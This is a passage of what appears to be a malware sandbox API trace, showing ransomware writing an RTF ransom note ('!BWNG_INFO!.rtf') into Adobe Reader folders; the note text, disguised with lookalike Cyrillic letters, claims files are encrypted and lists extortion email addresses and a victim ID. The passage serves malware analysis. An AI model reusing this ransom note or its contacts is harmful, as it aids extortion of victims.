ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n}ûÃ\x11q\x12©ô\x8a5;ä\x1bú\x9b\x06\nÛ4¬ú°­Øw±´d4\x8d\x03\x17", lpUsedDefaultChar=0x0) returned 14086 [0042.373] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0042.374] CloseHandle (hObject=0x1ac) returned 1 [0042.374] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\!bwng_info!.rtf")) returned 0x20 [0042.374] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\!bwng_info!.rtf")) returned 0xffffffff [0042.374] GetLastError () returned 0x2 [0042.374] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\chs\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d0 [0042.801] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 